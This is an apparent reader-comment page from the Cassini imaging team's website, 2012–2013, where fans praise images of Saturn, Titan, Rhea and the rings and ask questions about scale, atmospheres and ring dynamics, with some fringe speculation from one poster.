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carolyn, im sure your much too busy to answer questions on this site..lol..but just in case .i have wondered for years and have never found anyone with an answer to my question; how come in every photo i have ever seen of planets ,moons, and even the astronauts on the moon,how come you can never ever see stars or anything in the background, never even the hint of light from anything ,as though it is a giant void in the background ,anyone with an answer feel free to leave an email or something WHERE ARE THE STARS chiptaker761@gmail.com
carolyn      
04-14-2013  18:21:51

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Thank you, dwagner and others, for the praise and kind words. We aim to serve, and continue bringing you news of this magnificent adventure. Stay with us!
dwagner      
04-02-2013  20:54:52

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Thank you for putting this site together, I saw your writeup in the March Discover magazine...very nice, good for you!
I am putting a short write up in our Astronomy newsletter this month to tell others about your site. www.NPMAS.org Thanks for your years of hard work!
UweZ      
03-11-2013  13:20:07

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Passing Rhea at an altitude of only 620 miles would have given Cassinis camera an unprecedented detailed view of Rheas surface. Where can I see those 12 images shot at close-encounter? Why did the camera then stop taking pictures and not resume again until the craft was 167,000 miles away?
ml39612      
02-24-2013  12:56:19

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Here's why I think the storms on Saturn and Jupiter will disappear. The orbits of the planets in the solar system are strongly connected with enumeration. Our Solar System is, relative to the Galaxy, upside down, and it appears that in the System's formation, the time duration of the orbits of Jupiter and Saturn stabilized in a 1:3 ratio. However, the relative (to our star system) upside down appearance of our Galaxy destabilized objects more distance, which meant Uranus, Neptune and Pluto.

Uranus took up the difference in the total angular momentum of the Solar System by being flipped over on its side, a phenomenon familiar with gyroscope designers. Otherwise, Uranus would probably have had a 90 year orbit.

With Uranus somewhat detaching the inner solar system from Neptune,
Neptune's formation took a ragged turn. In part, it tried to take from the coalescing gas cloud part or all of what would have been the formation of Uranus, and in part, it tried to take what became Pluto.

The resulting orbit of Neptune was thus neither 90 years nor was it 270 years. Uranus had stabilized with an anemic 85 year orbit which prevented proper phasing of the 3:1 ratio throughout, and the 270 year orbit of Pluto stabilized at its anemic 256 year orbit.

I think the coalescing gas cloud and 3:1 enumeration ratio theory for the Solar System can be followed to some remarkably accurate views.

Of course it could take a very long time to prove grand theories of that kind.
ml39612      
02-24-2013  12:45:10

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Carolyn,

The work of the Alliance team which you represent is always superlative. Thank you for that.

I'd bet the storms on the North Poles of both Saturn and Jupiter will disappear in the coming decades.

Michael
MarB      
01-09-2013  22:53:16

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Hi, Carolyn,

I've been an Astronomny fan for MANY years (since the '60's) and am also a fellow artist. If you need me or my assistance, please let me know.

Marcia
P.S. Go Cassini and New Horizons! Go, JPL!!!
MarB      
01-09-2013  22:44:57

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Not since The Pioneers and even Voyagers have we seen such imagery and I DID appreciate them at the time.
Ad Astra. I'm also a visual artist, so if you need me as well, please let me know. Ad Astra per Aspera (that means a lot these days).
Marcia (She of Mars in Latin---Go Opportunity and go New Horizons!)
MarB      
01-09-2013  22:44:24

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Not since The Pioneers and even Voyagers have we seen such imagery and I DID appreciate them at the time.
Ad Astra. I'm also a visual artist, so if you need me as well, please let me know. Ad Astra per Aspera (that means a lot these days).
Marcia (She of Mars in Latin---Go Opportunity and go New Horizons!)
MarB      
01-09-2013  22:44:14

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Not since The Pioneers and even Voyagers have we seen such imagery and I DID appreciate them at the time.
Ad Astra. I'm also a visual artist, so if you need me as well, please let me know. Ad Astra per Aspera (that means a lot these days).
Marcia (She of Mars in Latin---Go Opportunity and go New Horizons!)
MarB      
01-09-2013  22:43:19

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Not since The Pioneers and even Voyagers have we seen such imagery and I DID appreciate them at the time.
Ad Astra. I'm also a visual artist, so if you need me as well, please let me know. Ad Astra per Aspera (that means a lot these days).
Marcia (She of Mars in Latin---Go Opportunity and go New Horizons!)
GorT>      
12-30-2012  22:44:39

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Carolyn,

Bravo on the false color exposure! Although, since Cassini orbits between Saturn and Uranus, couldn't we get some closeup exposures of a beautiful Uranusian false color image? I mean, all one has to do is spin the spacecraft 180 degrees and change angle a little, right. The blue is of such a vast and deep hue it extends one's imagination, much like Neptune. If Saturn is the only real gas giant to have a complex solid core, what about a small probe to the center of the planet, just to transmit telemetry back before it either blew up or froze? Also, some of Saturn's moons must be on the drawing board as proto-planets i.e. Titan, if we ever leap frog out that far. Could a moon be terraformed for colonization, and could Saturn one day turn into a star? Is that the plan after the Earth and Mars's resources are depleted?
brainiac9129      
12-23-2012  21:28:16

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Quoting Dr. Porco: "(...)are also the dreamers, thinkers, and explorers inhabiting one achingly beautiful planet, yearning for the sublime, and capable of the magnificent."
Dr. Porco, please allow me to make your words, my words. Sincere thanks to the Cassini team for all the hard and marvellous work.
Merry Christmas to all.
brainiac9129      
12-23-2012  20:57:30

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Quoting Dr. Porco: "(...)are also the dreamers, thinkers, and explorers inhabiting one achingly beautiful planet, yearning for the sublime, and capable of the magnificent."
Dr. Porco, please allow me to make your words, my words. Sincere thanks and congratulations to the Cassini team for all the hard and marvellous work.
Merry Christmas to all.
tentorro      
12-21-2012  22:35:15

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Wow! Thanks to Cassini for bring the wonder so close... and all the folks who help to explain it. Theres just one word thats fitting for this planet; its simply Majestic!
NeKto      
12-19-2012  07:54:20

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i agree with Pablo.
what a stunning image. i can see why newtoy has some visual confusion. the transition from seeing the rings back lit with sunlight, to invisible in full shadow, to back lit from double reflected planet glow renders a remarkable experience.
once again i am struck by scale and wish i had a yard stick to give me an idea how large some of the dimensions i am looking at are. the band of glow through the atmosphere, as thin as it appears in the image, has to represent a large chunk of kilometers on an orb as large as Saturn. does the planet side edge of that band represent the cloud tops we see in other images?
to the whole Cassini team; thanks for the great holiday gift!
roysykes      
12-19-2012  04:14:20

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A stunning image, but I do not understand the geometry of it: the black oval at the top, the discontinuity of the rings, the discontinuous "ring glow" in the upper (northern?) half of the planet. My imagination can't seem to construct a cohesive model of these disparate elements, whereas I could in the "Pale Blue Dot" mosaic.
portercc      
12-18-2012  23:47:34

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Beautiful. Is it possible to see it without false color?
portercc      
12-18-2012  23:43:35

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Beautiful. Is it possible to see it without false color?
newtoy      
12-18-2012  21:06:22

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Carolyn,
You and your team do such superior work. If you have an interest in someone volunteering for a summer, please let me know.
Gil.
Pablo      
12-18-2012  16:28:45

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Carolyn and team,

Thanks for your latest scientifically important and stunningly beautiful images. Y'all done good!

Pablo - Florida Astronomer

Enter the Vortex ... In Psychedelic Color
tonyfisher      
04-29-2013  13:06:04

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Superb and magical
kali.khelly@verizon.net      
04-29-2013  12:09:06

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Magnificent! And then some.

Dwarfed Wavemaker
NeKto      
04-24-2013  11:20:09

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i think we may have learned more about gravity and gravitational interactions from watching the rings of Saturn than any other source. with the small moons like Daphnis, i wonder how stable they are. if the gravitational tides change, could the small moons be pulled into pieces? if some of them are really rubble piles, i would think it would not take much to return them to ring material.

Staring at Storms
NeKto      
04-18-2013  11:52:01

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another interesting image of this fascinating atmosphere. i still would like to know how much atmosphere there is above those clouds and what the approximate barametric presure is at cloud level.

Spying on Senkyo
NeKto      
04-08-2013  07:29:12

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smoke gets in your ice

Rhea 'Rev 183' Raw Preview #6
stowaway      
03-28-2013  12:28:55

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...quite the "looker"
Mercury_3488      
03-12-2013  01:45:03

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What you want to do is rotate that amazing image 90 degrees to the right or clockwise. It is stunning, looks like that you are not far above that ancient, cratered surface.

It is a lovely perspective image too.

That image is not grainy then, it is very sharp indeed.

Do we know what the resolution is or what the actual dimensions are shown there?

Andrew R Brown.
jsc248      
03-11-2013  14:13:38

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Looks like a couple of "eyeball" craters in this slightly grainy raw image of Rhea's surface. Fantastic image!!

Mimas Peeks Over Saturn
NeKto      
03-24-2013  08:31:45

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is there an estimate of what the pressure range is at the altitudes where the clouds form? or an estimate of how deep the visible cloud forming altitudes are below say Saturn's ionosphere? i imagine the scale must be much larger that we experience here on Earth. the apparent altitude variations in the cloud banks we see make that obvious. is there anything in the way of a land mark in that huge atmosphere? anything that can give a reference point to the atmosphere we live in? where in relation to the clouds would one atmosphere pressure be?

Morning Star
NeKto      
03-22-2013  08:01:25

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p.s. marvelous imaging of the E and G rings!
NeKto      
03-22-2013  07:59:58

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Cassini has shared images of Earth and Venus with us from Saturn, and the suggestion was made to find Mercury and Mars as "morning stars." but i wonder what Jupiter would look like from Saturn. Venus and Earth look awesome. Jupiter should look spectacular.
will Cassini be operational long enough to get a good viewing angle?
Robert      
03-17-2013  09:42:00

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This is both science and art combined. It never ever ceases to amaze me how brilliantly the Cassini Imaging Team continue to produce fascinating, mind-enriching, curiosity-engaging, and emotionally-gasping views.

It is profound to see a planet from the perspective of another planet. It adds a sense of familial closeness across the billion miles of space. This image (similar to the blue-dot one) adds to my understanding of what "system" means in the solar system.

I am curious about the blue colour of the E Ring. Is that the same kind of dust scattering effect as Raleigh scattering in Earth's atmosphere? And if so, why isn't the G Ring in this image also blue? Is that a result of the viewing geometry here? Or is more to do with the rings being a thin plane rather than an atmospheric sphere? And, if it is a result of plane geometry, then why aren't there colour fringes or gradations in the G Ring? -- I guess that's because the rings are too narrow to show that effect.

If the blue colour of the E Ring is indeed similar to the effect of Raleigh scattering, does this mean that this is the first ever image of the effect outside of a planet's or moon's atmosphere?
jsc248      
03-11-2013  14:00:46

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My comment is Simply Breathtaking!
Dragon_of_Luck_Mah_Jonng1971      
03-10-2013  18:23:50

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My rating would be '12'.
Mercury_3488      
03-10-2013  05:17:24

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This too is amazing :)

The Cassini Spacecraft passed 'behind' Saturn looking towards the inner solar system through the rings when the planet Venus, some 1.44 Billion KM / 890 Million miles was spotted throuht the rings on one ocassion prior to being eclipsed & then again righ next to Saturn's limb just after. The Sun although appearing close by was eclipsed by Saturn. Both the Sun & planet Venus (Mercury, Earth & Mars too) appeared in front of the constellation of Cetus the Sea Monster, near the boundary with Aries the Ram.

The bluish E ring is clearly visible. The E Ring is formed from ejected ice crystals from the south polar geysers on the Saturn moon Enceladus.

The G Ring is a much fainter, narrower ring, appears to be a mixture of dust & ice particles. The G Ring appears to be crud knocked off the tiny 500 metre / 1,640 foot wide moonlet Aegaeon.

Rhea 'Rev 183' Raw Preview #1
davai      
03-12-2013  20:47:50

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great picture)
jsc248      
03-11-2013  14:02:35

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Rhea appears very Lunar like in this image. It seems a shame that we will not see it this close again for some time.

Rhea 'Rev 183' Raw Preview #2
Mercury_3488      
03-12-2013  01:48:08

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I wonder what that narrow rille actually is? Perhaps a boundary of two layers of ice???

Andrew R Brown.
jsc248      
03-11-2013  14:04:25

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Again very reminissent of Rilles seen on the Moon. I just love viewing these images!!

A Tectonic Feast
Lythia      
03-12-2013  00:47:23

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This has to be my fav image. Keep up the great work!

Sunset on the Jets
Lythia      
03-12-2013  00:30:13

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Love this view!

Rhea 'Rev 183' Raw Preview #5
jsc248      
03-11-2013  14:11:35

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A wonderful valley and escarpments (left and upper left resp.) are shown on this amazing image. Simply stunning!!

Rhea 'Rev 183' Raw Preview #4
jsc248      
03-11-2013  14:09:32

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A majestic terminator image of Rhea. It certainly has taken a heavy imapctor bombardment in it's ancient history. I wouldn't like to count the craters on this moon!!

Rhea 'Rev 183' Raw Preview #3
jsc248      
03-11-2013  14:06:45

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A crater counters nightmare!! A beautiful image of the limb area, similar to the area around Gassendi on the Moon. A magical image!!

Wispy Terrain on Dione
Dragon_of_Luck_Mah_Jonng1971      
03-10-2013  18:47:37

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There are a lot of tectonics and surface details.

Earth's Twin Seen From Saturn
Dragon_of_Luck_Mah_Jonng1971      
03-10-2013  18:25:56

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My rating would be '12'.
Mercury_3488      
03-10-2013  05:16:19

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This is astonishing.

The Cassini Spacecraft passed 'behind' Saturn looking towards the inner solar system through the rings when the planet Venus, some 1.44 Billion KM / 890 Million miles was spotted throuht the rings on one ocassion prior to being eclipsed & then again righ next to Saturn's limb just after. The Sun although appearing close by was eclipsed by Saturn. Both the Sun & planet Venus (Mercury, Earth & Mars too) appeared in front of the constellation of Cetus the Sea Monster, near the boundary with Aries the Ram.

I wonder if Cassini could capture Mercury, Earth (again) & Mars????

NeKto      
03-07-2013  07:33:47

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as planets go, Earth and Venus have nearly identical masses. density is nearly identical. what we know about composition tell us there are striking similarities. there are major differences in the atmospheres; Venus has such a high concentration of greenhouse gasses that while only absorbing 30% more energy from the sun, it has a surface temperature that would melt lead. but what we know and what we can infer about what is below the surfaces tell us there are more similarities than differences.
as planetary science goes, there is a lot of good reasons to refer to them as twins. keeping in mind that twins need not be identical. i would compare the differences between Earth and Venus as being like human twins with different hair styles. from a planetary science standpoint, the similarities far outweigh the differences.
poihths      
03-05-2013  19:52:54

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"Earth's twin?" Could someone clue me in on just how Venus is Earth's "twin?" Would it be the extensive Venusian oceans? The cool, yet balmy temperatures? The clear skies and sparkling clarity of the atmosphere? The many and varied forms of life? I wouldn't even use the word "cousin" to make the comparison; "opposite" seems like it fits the bill pretty well.
Red_dragon      
03-04-2013  17:53:28

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Impressive image, of course; really love the golden hue of the rings.

What's Venus' apparent magnitude seen from Saturn?. I estimate it around 0 (so bright as Vega)

Bleriot Recaptured
NeKto      
02-27-2013  09:54:51

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this is one of the phenomena i find fascinating. are they really moonlets? i have my doubts. my best guess is they are semi stable ruble collections. large enough to have the gravitational effect, but unstable enough to have a moving center of gravity. as the center "collects" particles from the ring neighborhood, the collisions also erodes particles from the pile.
these centers would not necessarily have an orbital period that matched the period of the ring material they are enclosed in. if i recall, that is what the measurements indicate. this hypothesis also implies the propellers might not persist. any missing propellers out there?
whatever the cause, the effect is marvelous to look at.

F Ring Zoo
NeKto      
02-24-2013  12:07:39

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I quite agree on the aesthetic evaluation. within the beauty of the image, there is abundant information that helps in the understanding of everything from ring dynamics to the fundamentals of gravity. the main reason i keep coming back to this site is the combination of great artistry and great science in this astounding body of work.
and it keeps on coming.
RHSellet      
02-18-2013  13:59:49

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Love the main strand of the F-ring! It takes on the appearance of a softened lightning bolt frozen in time. It's quite beautiful.

NASA's Cassini Watches Storm Choke On Its Own Tail
kemcab2012      
01-31-2013  14:39:57

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Agreed, topaz. I immediately thought of Jrmungandr. Beautiful photos, especially under Great Disturbances, where the 2011 shots look like eddies in a stream.
topaz      
01-31-2013  13:41:21

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It's an ouroboros!
ml39612      
01-31-2013  13:21:24

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Well, that's about what I'd expect when a durable cyclone migrates to the opposite hemisphere across the planet's equator. It WAS being maintained by something while it endured. Contradictions like that probably exist among the three different rotational planes- equatorial (for that planet), ecliptic (for that planet) and galactic (for the whole solar system. Two would be correct, the third is ignored or its polarity is inverted. Probably the Galactic was being ignored, or it was included but inverted.

The migration event signals that it has worked out a contradiction through some process (possibly triggered by human activity since the contradiction is probably very fragile) and the system flips into a state in which the odd rotational plane is ignored. Yet the migration caused increased stability and more consistent flow.

Now, some of Earth's birds migrate from North to South. Perhaps birds have not caught on to Galactic rotation. Some of Earth's cyclones SHOULD migrate, at least once...

Would that it would become possible to cause Earth's cyclonic storms to get their acts together that way.

Moons at Work
NeKto      
01-27-2013  07:03:01

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i continue to be astounded by the detail in the images that keep on coming. the only words i can find that express my understanding, and lack thereof to the movement in the rings is there is a complex simplicity to the dynamics of the ring particles. then again, i was momentarily fooled by that other "moon" in this image. (the one identified as "background star") first look i was trying to remember what other moon was in the Encke gap. then i had the thought "background star" is a very unusual name for a moon.

Spying on Titan
JKoulouris      
01-09-2013  13:30:42

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J.R.R. TOLKIENS' "LORD OF THE RINGS" join FRANK HERBERTS' "DUNE" on the SURFACE of TITAN -

The International Astronomical Union and Working Group for Planetary System Nomenclature (IAU / WGPSN) have Officially Adopted the Names of Mountains and Peaks from J.R.R. Tolkien's fictional fantasy novels for the Official Naming of Mountains and Peaks (MONS and MONTES)on the Surface of Saturns' Major Moon TITAN.

You can Access the Official IAU/WGPSN Press Release (published on: November 12, 2012), and a Map of the Surface of TITAN showing TITAN Officially Adopted Surface Feature Nomenclature from the IAU/USGS Astrogeology / Planetary Gazetteer WebSite at;


IAU/WGPSN/USGS Official Press Release;

http://astrogeology.usgs.gov/HotTopics/index.php?/archives/463-Eight-New-Names-for-Titan-Surface-Features.html


Map of the Surface of TITAN with IAU/WGPSN Officially Adopted Nomenclature;

http://planetarynames.wr.usgs.gov/images/Titan_comp_VIMSimage.pdf


Best Regards to CAROLYN, the CICLOPS CASSINI IMAGING TEAM and their Colleagues, as Well as the Members of the IAU / WGPSN, USGS Astro Branch, JPL/CIT, NASA, the European Space Agency, and all our Sector 6 Members and CICLOPS Participants.

John Koulouris, (Esq.)
Planetary Cartographer / Author
ASTEREION - ORION Project
Laval, Canada.


A Splendor Seldom Seen
NeKto      
01-01-2013  09:52:28

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Thanks to the whole Cassini team for another year of awe inspiring images. in a very close call, i nominate this one as best of 2012.
in any line of work there has to be some drudgery and irritating tasks. but if it ends up with things like the images shared on this web site, it has to be well worth any and all of the less pleasant moments on the job.
i sure wish someone would pay me to work on a project like this. if the idiots who think this kind of endeavor isn't worth funding actually get their way, they should be banished to Antarctica. (only because it would be too expensive to banish them to Triton.)
we have eyes orbiting Mercury, had orbiters around Venus, have orbiters and landers exploring Mars, have had orbiters in the Jupiter system, had a lander and have an orbiter in the Saturn system, flew by Uranus and Neptune, and will soon have a flyby of the Pluto system.
and i am old enough to predate all of them.
Of all the probes we have sent out, Cassini has been the most interesting, and not just because of the shear quantity of data out little robot friend has been sending us. Saturn has revealed more than enough surprises to grab anyone's attention.
Here's hoping for another year of awe inspiring images in 2013, and many more to come.

Titan's South Polar Vortex in Motion
Andrew Planet      
12-31-2012  16:36:30

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That teaches me not to just view the video! I quote above ''Cosmic ray hits on the camera detectors appear as bright dots in some frames of the movie.''
Andrew Planet      
12-31-2012  16:23:15

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I keep seeing far more than two spots, say eight to nine simultaneously at least and at different intensities of brightness. Maybe its like sprites or as in the following web article http://www.livescience.com/10572-gigantic-lightning-jets-shoot-clouds-space.html
Spacefleet      
07-11-2012  01:32:56

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In the movie, there are two very bright, small white spots moving around outside the vortex. Any ideas what these might be?

Saturn 'Rev 175' Raw Preview #1
qweasd      
12-20-2012  15:19:06

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An anaglyph would be killer.
NeKto      
12-19-2012  08:05:04

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after looking at the "jaw dropping" image labeled "a splendor seldom seen" i had the thought that these perhaps 100 kilometer tall cloud banks could be a few hundred kilometers deep in the atmosphere.
is there an estimate on the atmospheric pressure at the cloud tops?
how about cloud top temperatures?
how deep is this atmosphere we are looking through?
thanks for the great images!
NeKto      
12-11-2012  07:19:55

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the back of the envelope calculation sounds reasonable to me. if it is anywhere near close, there has to be a lot of elevation change over those cloud tops. one heck of a vortex up there. interesting that the character, at least in appearance, is strikingly different from the south pole.
bruno.thiery      
12-02-2012  11:32:18

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This is such cold beauty.
Such beauty.
Only clouds, not the dazzling rings nor the string of pearls of the satellites; and still I hope we will have more shots like this.
Thanks!
qweasd      
11-30-2012  07:26:21

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My back-of-envelope calculations show about 900 km from the center to the pretty white storms in upper left. It would be nice to know the actual resolution though.
NeKto      
11-29-2012  18:17:30

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another set of "WOW" images. with the light angle showing so much three dimensional information, i could study the detail for hours.
could you folks at the lab please give us some sense of scale? i would love to get a ballpark idea how large the vortex is and how high some of those cloud mountains are.

Rev177
redmoon      
12-16-2012  10:07:22

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Hello,

again a very good and informative article about the next Cassini orbit. Many thanks for this!

My special question: Will Cassini observe a Venus-Transit in front of the sun on 21th of december 2012? This was earlier in this year suggested by a blog entry from ESA...

http://blogs.esa.int/venustransit/2012/06/05/the-transit-of-venus-from-saturn/

And No - I know the Earth will not be "destroyed" on this day... But such observations could be very informative and helpful for the search and analysis of Exoplanets.

Best regards,

redmoon

Another Death Star?
Red_dragon      
12-03-2012  06:01:25

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Well, in Star Wars there were the two Death Stars on the movies and at least other in the expanded universe (novels, etc), so there's no problem.

It seems, however, that no TIE fighters, nor Star Destroyers so far...

Saturn 'Rev 175' Raw Preview
sunwell      
12-02-2012  20:57:00

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It's looks like a galaxy.

Saturn 'Rev 175' Raw Preview #3
NeKto      
11-29-2012  18:09:19

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i have been waiting to see what our old friend the hexagon was doing. looks like it is doing much the same as the last time we had a look. but this time, it is out of the dark and we have great high resolution images.

Saturn 'Rev 175' Raw Preview #2
Red_dragon      
11-28-2012  16:34:47

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Impressive. Now, it's time to measure speeds, temperatures, etc; it may -and surely will- hold surprises as the south pole vortex had.
Up, Up and Away!
ml39612      
11-28-2012  14:35:32

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I'd bet that the hexagon on Saturn, the disappearance of the Great Red Spot, and other numerically and topologically interesting features there and elsewhere in the Solar System, are because mankind has made narrow though absolute differences in enumeration, entropy, direction, polarity, rotation and statistics.

We've measured the rotation rate of the Galaxy; this has effect on the polarity of objects within the Solar System, because until humans acted, the planets were largely insulated from unifying, within the system, extremely slow and separate rotational anomalies. Those anomalies had been separated by the somewhat dirty environment which confuses very long distance ordering.

All the tendency to reduce the entropy of enumeration works to consolidate polarities and other enumerable phenomena where possible. Ethylene may have emerged on Saturn because Earth resolved chemical elements and molecular species on other planets. Entropy and numbers seem to be connected through the radiation field which is of course related to number through wavelength, the speed of light and other of light's dimensions.
ml39612      
11-28-2012  14:34:23

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I'd bet that the hexagon on Saturn, the disappearance of the Great Red Spot, and other numerically and topologically interesting features there and elsewhere in the Solar System, are because mankind has made narrow though absolute differences in enumeration, entropy, direction, polarity, rotation and statistics.

We've measured the rotation rate of the Galaxy; this has effect on the polarity of objects within the Solar System, because until humans acted, the planets were largely insulated from unifying, within the system, extremely slow and separate rotational anomalies. Those anomalies had been separated by the somewhat dirty environment which confuses very long distance ordering.

All the tendency to reduce the entropy of enumeration works to consolidate polarities and other enumerable phenomena where possible. Ethylene may have emerged on Saturn because Earth resolved chemical elements and molecular species on other planets. Entropy and numbers seem to be connected through the radiation field which is of course related to number through wavelength, the speed of light and other of light's dimensions.
ml39612      
10-25-2012  16:21:31

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Jupiter can be thought of as a cool proto-star that has not yet resolved all its spin vectors. As spin on each of the planets becomes coordinated with the entire set of rotational systems -galactic, ecliptic and that planet's equatorial-its atomic activity begins to shift toward maximum. Recently a gigantic hexagon appeared in the Jovian North Pole region-indicating that element's spin has changed.

The antiquity of Jupiter's red spot is not known, though it first appeared visible to human beings after the telescope was invented and it is possible that it emerged after Earth started resolving the dynamics of the solar system. But Jupiter's red spot in in its southern hemisphere. It's radiation in the 5 micron part of the spectrum indicates that it already emits more energy than it receives from the Sun.

The white spot on Saturn emerged only within the past few days. If these are caused by that planet coming into new coordination with the rotational group, the place of that spot in the northern hemisphere indicates seriously important changes may be taking place in the solar system, possibly as a result of human activity.

Ultimately, such things could result in a realignment of the spin vector of Uranus. If that does happen, it could put the major planets into such degenerate spin states that their nuclear activity increases. A result of that would be increased radiation from the major planets, and it would not be too surprising if Jupiter or Saturn began radiating brightly.

Then we would have a double or triple star system. Depending on the
magnitudes of any new stars, that could have consequences for Earth
ranging from the aesthetic and pleasing, to terminal.
ml39612      
10-14-2012  17:55:32

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Imagine sending a robot to Titan to land, collect samples of the material there, return to orbit and then back to Earth. Tough problems at those temperatures.
DKL      
08-29-2012  21:02:50

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I can't thank you enough for these stunning, majestic images. They will likely inspire children to grow up to reach out further into our universe and bring us even more wonders.
PiperPilot      
08-29-2012  20:39:02

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I've been following this adventure since launch and so many awesome pictures. We really need to get some rovers up there for Carolyn and her team to drive around sight seeing.

Thank you imaging team for allowing us to look out your window. The view is spectacular.
sunwell      
08-25-2012  04:22:16

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The universe is in the earth.Electronic just like earth,Nucleus is like the sun!This is my personal feeling.







sunwell      
08-24-2012  00:11:43

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weak force,electromagnetic force,brute force only three force




Judit      
07-19-2012  07:15:45

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Amazing how much we can see now, and how people take these new scientific results granted. Just the other day I was talking to family about the similarities between Titan and Earth, and they did not seem surprised at all. And I was like, do you realize that all this has been revealed in the past few years, through the images and measurements taken by a spacecraft that is still in operation? If it wasn't for Cassini, we still wouldn't know more than Saturn has some kind of rings around it.

Personally, I think history is being written here :)

As for the polar storms and caps on Titan, it's another fascinating discovery! I'm curious to see what develops.

Tiny Tethys
NeKto      
11-27-2012  07:58:54

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Heck, Tethys is dwarfed by one circular cloud formation in the southern hemisphere. i can just imagine if we had a storm with a larger diameter than our moon. on Saturn, a storm with a diameter larger than Titan might be just medium sized.
what a system!

Glowing Titan
NeKto      
11-17-2012  06:47:11

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Well look at that. light from some atmospheric phenomenon at 1000 kilometers. and some sources claim the atmosphere on Titan is less than a third that deep. i have always been impressed with the gas envelope that moon holds. even more so now. it looks like it has quite the ionosphere way up there.

Gray Egg
NeKto      
11-14-2012  09:05:23

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Perhaps Methone is more like a loosely packed snow ball. it might take a lot higher resolution to see any tracks in the snow.
as usual, interesting picture.
Cassiopeian      
11-06-2012  17:41:32

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What is immediately apparent about Methone is that this small moon appears to lack craters.Is it a rubble pile with surface features that need a much higher image resolution to discern ?

Dwarfed by Saturn
Red_dragon      
10-29-2012  07:48:45

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Gorgeous. Love Saturn's perspective

Many Mini-Jets
NeKto      
10-25-2012  08:17:27

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the more detail you see, the more questions there are to ask. for me that means more fun to be had!
it almost looks like a gust of wind hit the F ring.

Titan's Varied Atmosphere
NeKto      
10-18-2012  08:52:07

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i remember being taught that objects as cold as Titan would be too cold to display much in the way of weather. not enough heat to stir things up. yeah right.
what a great image. looks like a lot of weather up there to me.

Winter's Coming
apocapinskis      
09-29-2012  16:14:59

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ahhaha, i guess NASA has some Game of Thrones fans

Post-encounter View of Neptune's South Pole
apocapinskis      
09-28-2012  15:48:19

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This one is stunning..But what makes the colors? Why is one half of it opposite in color to the other half? It looks beautiful but I can't figure out why it would do that, its always uniform blue in all other photos.
Quench my curiosity pls!

Above Titan's South
NeKto      
09-17-2012  11:16:09

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the only bodies we know that have deeper atmospheres than Titan do not have solid surfaces. i think that may have something to do with why this atmosphere is so much fun to watch.

Colorful Colossuses and Changing Hues
Dragon_of_Luck_Mah_Jonng1971      
09-14-2012  18:30:59

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Many special hues at the northern temperate and northern polar latitudes.
So much beauty
Dragon_of_Luck_Mah_Jonng1971      
09-08-2012  17:39:16

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My rating is '12' , almost '13' .
patillac      
08-31-2012  13:45:30

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Rather unimpressed with the surprisingly low resolution of the images, but they do look great!
Murdo      
08-31-2012  05:29:03

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This is a stunningly beautiful picture. Thank you to the team the vision to imagine the possible and the daring to do the impossible.
vera      
08-30-2012  08:55:02

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Amazing! Fantastic images!!Congratulations, Carolyn and all team.
Iapetus Monolith      
08-30-2012  05:50:51

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I go weak in the presence of beauty ... awestruck!
Red_dragon      
08-30-2012  02:31:58

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Another amazing picture; as you comment, it's fun to compare Saturn's look of the northern & southern hemispheres in this image with the aspect they had on earlier images you released.

As a side note, having started to read Stephen Baxter's "Titan". Highly suggested.
drtaher      
08-30-2012  00:43:43

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This is an amazing picture ... sure to adorn my desktop if I have your permission to use it on my home PC. Thanks for a brilliant take. Carolyn and the team ... take a bow.
mic1303      
08-29-2012  21:48:35

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Oh, my!
JimRinX      
08-29-2012  17:05:14

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Wow.....those are Nice!
Sooooo much prettier than those pathetic pictures from that danged old up-staging usurper of a 'rover'......Yes, soo much prettier (There? Feel Better, Carolyn? I know how you ladies get....)

Polar Vortex in Color
Frank      
09-01-2012  18:47:31

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Fantastic angled view of this southern vortex.
Red_dragon      
08-30-2012  02:22:26

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Fantastic. Given Saturn has a southern polar vortex too -albeit right now likely in darkness-, it resembles an image of Saturn took when it was visible with the rings removed.

Giants in Living Color
squirreltape      
09-01-2012  07:17:17

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Stunning images! With images like these and the many you've already returned over the years it really goes to show that you've got the perfect balance between cutting edge science return and aesthetics. You're certainly inspiring many people with views such as these. Beautiful.
tonyfisher      
08-30-2012  19:01:07

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It never ceases to amaze that these images are being taken with eqipment located so very very far away - and yet they lack neither beauty or womder. Breathtaking.
Iceman      
08-30-2012  07:15:26

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Amazing images...keep 'em coming! Congratulations to the team and best wishes for continued success.
gloetzel      
08-29-2012  19:36:47

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Thank you so much for sharing these beutiful images!!! Thank you all for your ongoing hard work. They are indeed all a 10!!!
abramson      
08-29-2012  19:01:51

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Incredibly beautiful. Thanks for making them public, and for your continuing efforts all these years.
kali.khelly@verizon.net      
08-29-2012  17:25:51

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Now how are we supposed to pick the best shot? They are all 10s!
Congratulations and many blessings on more to come in the next 5 years.

Hello Again
NeKto      
08-30-2012  07:33:09

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I've been thinking that perhaps these features are not caused by tiny moons. in fluid dynamics, if you have a slow down at one point in a flow, it will produce a wave that moves upstream. eg; if one car slows down 5 mph in 60 mph "bumper to bumper" traffic, a few miles behind that car, traffic will come to a complete stop. the hypothesis i am attempting to communicate is that the propeller "moons" might not be solid bodies at all. perhaps they are rubble concentrations caused by something akin to the wave phenomenon i described. no individual orbiting particle would stay in the sphere of concentration for long. the concentrated mass could be enough to produce the visible propellers. the concentration could move along the orbital path slower, possibly even faster, than orbital velocity.
when i read you found propellers behind predicted positions, i thought my hypothesis might be worth mentioning.
greece      
07-15-2012  10:00:22

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Is this S/2009 S 1 or another object?

Night Side Rings
Red_dragon      
08-30-2012  02:33:23

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It's a pleasure to see again images taken from outside the plane of the rings.

A Ring of Color
Red_dragon      
08-30-2012  02:24:19

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Another great image of a crescent Titan with the plus of that vortex; as a side note, the Photojournal image (http://photojournal.jpl.nasa.gov/catalog/PIA14924) seems to be corrupted or something.
NeKto      
08-29-2012  20:57:14

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another serious WOW image! what an atmosphere.
So what was the sun spacecraft Titan angle on this one? i looked for that information in the text. was disappointed not to find it.
looks like old Sol is hiding a little closer to the north pole, or maybe not even behind Titan. just out of frame to the north perhaps?

Southern Swirl
NeKto      
08-12-2012  08:17:21

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fascinating things happening on this unique moon. who said gasoline and water don't mix? essentially that is what this moon is made of. ice with an icing of hydrocarbons. but what is actually happening in that 600 K deep atmosphere that generates those polar hoods?
does the IR imaging give us any clues?

Map of Titan - April 2011
NeKto      
07-26-2012  08:11:55

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Hello Weasel.
If I recall, that round structure is believed to be an impact crater. the only visible evidence of impact on Titan, so far. if i am not mistaken, clouds do not show up at the wave lengths where these images are taken.
you are dead right about this being a wonderful mosaic.
Weasel      
07-25-2012  15:47:04

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Is the ringed spot at about 25/85 a large storm cloud? Wonderful mosaic of an immensely interesting and unique satellite.

Lightning Flashing in Daylight
notaspampeanas      
07-19-2012  20:11:04

